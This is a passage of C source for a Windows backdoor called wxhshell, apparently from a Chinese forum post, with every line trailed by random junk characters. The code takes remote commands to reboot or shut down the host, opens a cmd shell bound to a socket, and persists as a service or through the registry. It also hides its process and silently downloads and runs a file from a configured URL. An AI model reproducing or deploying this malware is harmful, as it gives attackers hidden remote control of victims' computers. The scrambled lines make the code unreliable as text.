  case '?': { cJN7bA {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s8wmCzB~  
    break; 61. Brp.eP  
  } J!0DR4=Xi  
  // 安装 !6BW@GeF]  
  case 'i': { :ZTc7 }  
    if(Install()) :axRoRg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xGu r  
    else PfreAEv,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5i> $]*o  
    break; nTuJEFn{  
    } IAYR+c  
  // 卸载 2HpHxVJ  
  case 'r': { vk+VP 1D  
    if(Uninstall()) |rJ=Ksc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0o`-d(  
    else 21 O'M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .P;*Dws  
    break; KB%"bqB|  
    } r YogW!  
  // 显示 wxhshell 所在路径 &0='r;*i  
  case 'p': { yOphx07 (  
    char svExeFile[MAX_PATH]; 74H)|Dkx  
    strcpy(svExeFile,"\n\r"); %70~M_  
      strcat(svExeFile,ExeFile); L%BNz3:Dt  
        send(wsh,svExeFile,strlen(svExeFile),0); TatpXN\  
    break; >SML"+>  
    } L$9 . 8W  
  // 重启 s~>d:'k7|  
  case 'b': { 0ZBJ ~W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M:-.o  
    if(Boot(REBOOT)) |zR8rqBX;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 DDML,  
    else { vI2^tX 9  
    closesocket(wsh); j/>$,   
    ExitThread(0); }!;s.[y  
    } ?3%` bY+3;  
    break; _9JhL:cY  
    } V^JV4 `o  
  // 关机 2@9Tfm(=  
  case 'd': { (5R?#vj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +s,Qmmb7)  
    if(Boot(SHUTDOWN)) g6Q!8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7N-w eX  
    else { S/^"@?z,vE  
    closesocket(wsh); X}tVmO?  
    ExitThread(0); My<snmr2d  
    } yHs- h   
    break; dQ_!)f&w1  
    } ~V&aUDO>/  
  // 获取shell fJ/e(t  
  case 's': { ~MS\  
    CmdShell(wsh); 9A} # 6  
    closesocket(wsh); I2 j}Am  
    ExitThread(0); @n(Z$)8tR  
    break; dE:+k/  
  } q8^^H$<Db  
  // 退出 CACTE  
  case 'x': { G>wqt@%r9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); twP,cyR  
    CloseIt(wsh); 9:,V5n=  
    break; &Rx{.9  
    } L%Ow#.[C2  
  // 离开 x*?x=^I{  
  case 'q': { 30XR 82P/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }*lUah,@  
    closesocket(wsh); ROk5]b.  
    WSACleanup(); ?\$#L^;b}  
    exit(1); rypTKT|U;  
    break; #Yr9AVr}K  
        } c:-!'l$ !  
  } Z2TL#@  
  } kB'Fkqwm  
Eve.QAl|  
  // 提示信息 mMb'@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UG)8D5  
} y>72{  
  } DTa N"{  
89\n;5'f4  
  return; Ytz)d/3T  
} /[Z,MG  
GG@ md_  
// shell模块句柄 s}jHl8  
int CmdShell(SOCKET sock) F'B8v 3  
{ J]&y$?C  
STARTUPINFO si; O9EKRt  
ZeroMemory(&si,sizeof(si)); I9:Cb)hbU]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l~6?kFy9h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o'W5|Gy  
PROCESS_INFORMATION ProcessInfo; E_8\f_%wK  
char cmdline[]="cmd"; blTo5NLX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1E73i_L  
  return 0; cfcim.jB  
} % !du,2  
6ek;8dL  
// 自身启动模式 e'0{?B  
int StartFromService(void) Md0 s K  
{ EmODBTu+  
typedef struct -PS#Z0>  
{ ve% xxn:  
  DWORD ExitStatus; \8<BLmf4U  
  DWORD PebBaseAddress; $)RNKMZC}A  
  DWORD AffinityMask; yto,>Utzg  
  DWORD BasePriority; -C<zF`jO  
  ULONG UniqueProcessId; (*oL+ef-C  
  ULONG InheritedFromUniqueProcessId; l-ct?T_@  
}   PROCESS_BASIC_INFORMATION; &_"]5/"(  
]`&Yqg  
PROCNTQSIP NtQueryInformationProcess; B x (uRj  
?Rj~f{%g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hir4ZO%Zt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \T <$9aNb  
agjv{  
  HANDLE             hProcess; [1F* bI  
  PROCESS_BASIC_INFORMATION pbi; 'ow.=1N-  
=li|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'g$(QvGF 9  
  if(NULL == hInst ) return 0; 4\6N~P86  
iVd.f A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (cN}Epi(D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c05%iv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \'9PZ6q{  
cG?cUw).E  
  if (!NtQueryInformationProcess) return 0; n84GZ5O>7  
| fSe>uVZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U7I qST  
  if(!hProcess) return 0; x\J#]d.  
/\H>y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LE*h9((  
wc!onZX5  
  CloseHandle(hProcess); L+'Fs  
xo&]RYG[<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W2z*91$  
if(hProcess==NULL) return 0; Sp}tD<V  
u$-U*r  
HMODULE hMod; zOGU8Wg  
char procName[255]; ^_ kJKM,  
unsigned long cbNeeded; 4H|(c[K;  
xj[(P$,P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xia|+  
ap{2$k ,  
  CloseHandle(hProcess); Er{#ziN+  
\[jq4`\$  
if(strstr(procName,"services")) return 1; // 以服务启动 D5:{fWVsV/  
7}vg.hmZ  
  return 0; // 注册表启动 @DZB9DDR  
} CT1ja.\;  
2AtLyN'.  
// 主模块 6%fKuMpK(  
int StartWxhshell(LPSTR lpCmdLine) (4\d]*u5-c  
{ QK+(g,)_86  
  SOCKET wsl; ed:@C?  
BOOL val=TRUE; Z7RiPSdxp  
  int port=0; m+#iR}*1L  
  struct sockaddr_in door; 1P(|[W1  
,}:G\u*Fu  
  if(wscfg.ws_autoins) Install(); ,:`ND28V7  
JB>b`W9   
port=atoi(lpCmdLine); A0fFv+RN3  
(sQr X{~  
if(port<=0) port=wscfg.ws_port; I(9R~q  
"h|'}7p  
  WSADATA data; 9Ffp2NW`;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _z54Ycr4H  
C#H:-Q&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i| ZceX/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >5j<4ShW  
  door.sin_family = AF_INET; #?XQ7Im  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ONCnVjZ  
  door.sin_port = htons(port); 8P"_#M?!  
h68]=KyK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -CRQ&#p1]  
closesocket(wsl); v$=QA:!U  
return 1; P0$e~=Q^4  
} ,9P:Draxs`  
ixV0|P8,c  
  if(listen(wsl,2) == INVALID_SOCKET) { r YF #^  
closesocket(wsl); }=|!:kiE  
return 1; qY >{cjo  
} tqy@iEz+  
  Wxhshell(wsl); eYC^4g%l(  
  WSACleanup(); o,xxh  
BbRBT@  
return 0; '(dz"PL.  
QMsHC%l3b  
} 2CzaL,je[  
]r-C1bKD`  
// 以NT服务方式启动 11,!XD*"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) efD)S92  
{ %%Qo2^-  
DWORD   status = 0; rY p3(k3  
  DWORD   specificError = 0xfffffff; }=v)Js  
f}L*uw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M{$j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4&HXkRs:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \T;\XAGr  
  serviceStatus.dwWin32ExitCode     = 0; '}rRzD:  
  serviceStatus.dwServiceSpecificExitCode = 0; Q43|U4a  
  serviceStatus.dwCheckPoint       = 0; ?h0X,fl3  
  serviceStatus.dwWaitHint       = 0; OKHX)"j\\  
t!2(7=P30(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HBY.DCN[Z  
  if (hServiceStatusHandle==0) return; Qjnd6uv{I  
T<I=%P)  
status = GetLastError(); jM&r{^(  
  if (status!=NO_ERROR) !gLkJ)  
{ fi+R2p~vs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S=xA[%5  
    serviceStatus.dwCheckPoint       = 0; Lgz$]Jbl8  
    serviceStatus.dwWaitHint       = 0;  `juLQH  
    serviceStatus.dwWin32ExitCode     = status; @m?QR(LJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; :0/q5_t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k"N(o(  
    return; .@"q$\  
  } m{7^EF  
jt@SZI`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r|*&GHo L  
  serviceStatus.dwCheckPoint       = 0; }@+NN ?P  
  serviceStatus.dwWaitHint       = 0; |8bq>01~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I2 a6w<b  
} !6G?zipB  
O}[PJfvBHo  
// 处理NT服务事件,比如:启动、停止 v?c 0[+?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~w</!s  
{ dtPoo\@  
switch(fdwControl) %hN.ktZ/s  
{ `funE:>,  
case SERVICE_CONTROL_STOP: @R m-CWa  
  serviceStatus.dwWin32ExitCode = 0; o&hIHfZri  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !WkIi^T  
  serviceStatus.dwCheckPoint   = 0; WU4UZpz  
  serviceStatus.dwWaitHint     = 0; F/1#l@qN  
  { fZKt%m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E(Rh#+]Y5  
  } ICB~_O5  
  return; IZ3{>N V  
case SERVICE_CONTROL_PAUSE: lZ&]|*>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dJ:MjQG`W  
  break; #tdf>?  
case SERVICE_CONTROL_CONTINUE: #,(sAj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NA$zd(  
  break; !TAp+b  
case SERVICE_CONTROL_INTERROGATE: f&4,?E;6%  
  break; LwuF0\  
}; K={qU[_O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qpJ{2Q  
} ]ALc;lb-}  
rs=q! P"u[  
// 标准应用程序主函数 QHBtWQgS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7{oe ->r  
{ Q>qFM9Z  
~Cc.cce5  
// 获取操作系统版本 3ew8m}A{O  
OsIsNt=GetOsVer(); fU2qrcVu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +]:2\TTGI  
*FR$vLGn  
  // 从命令行安装 i v(5&'[p  
  if(strpbrk(lpCmdLine,"iI")) Install(); utlpY1#q/  
r' BAT3  
  // 下载执行文件 'j%F]CK  
if(wscfg.ws_downexe) { #kkY@k$4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RE3Z%;'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2h {q h  
} E3/:.t  
vQ@2FZzu>  
if(!OsIsNt) { 8 iC:xcN3  
// 如果时win9x,隐藏进程并且设置为注册表启动 w(nHD*nm  
HideProc(); N"[B=fU}  
StartWxhshell(lpCmdLine); +~sd"v6  
} I-NN29Sk  
else "()sb?&  
  if(StartFromService()) }i!pL(8;  
  // 以服务方式启动 S06Hs~>Y  
  StartServiceCtrlDispatcher(DispatchTable); \nrP$  
else Q}A=jew  
  // 普通方式启动 t@?u  
  StartWxhshell(lpCmdLine); SKY*.IW/Z  
9=dkx^q  
return 0; FZpKFsPx  
}
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只看该作者 1 发表于: 2006-10-10
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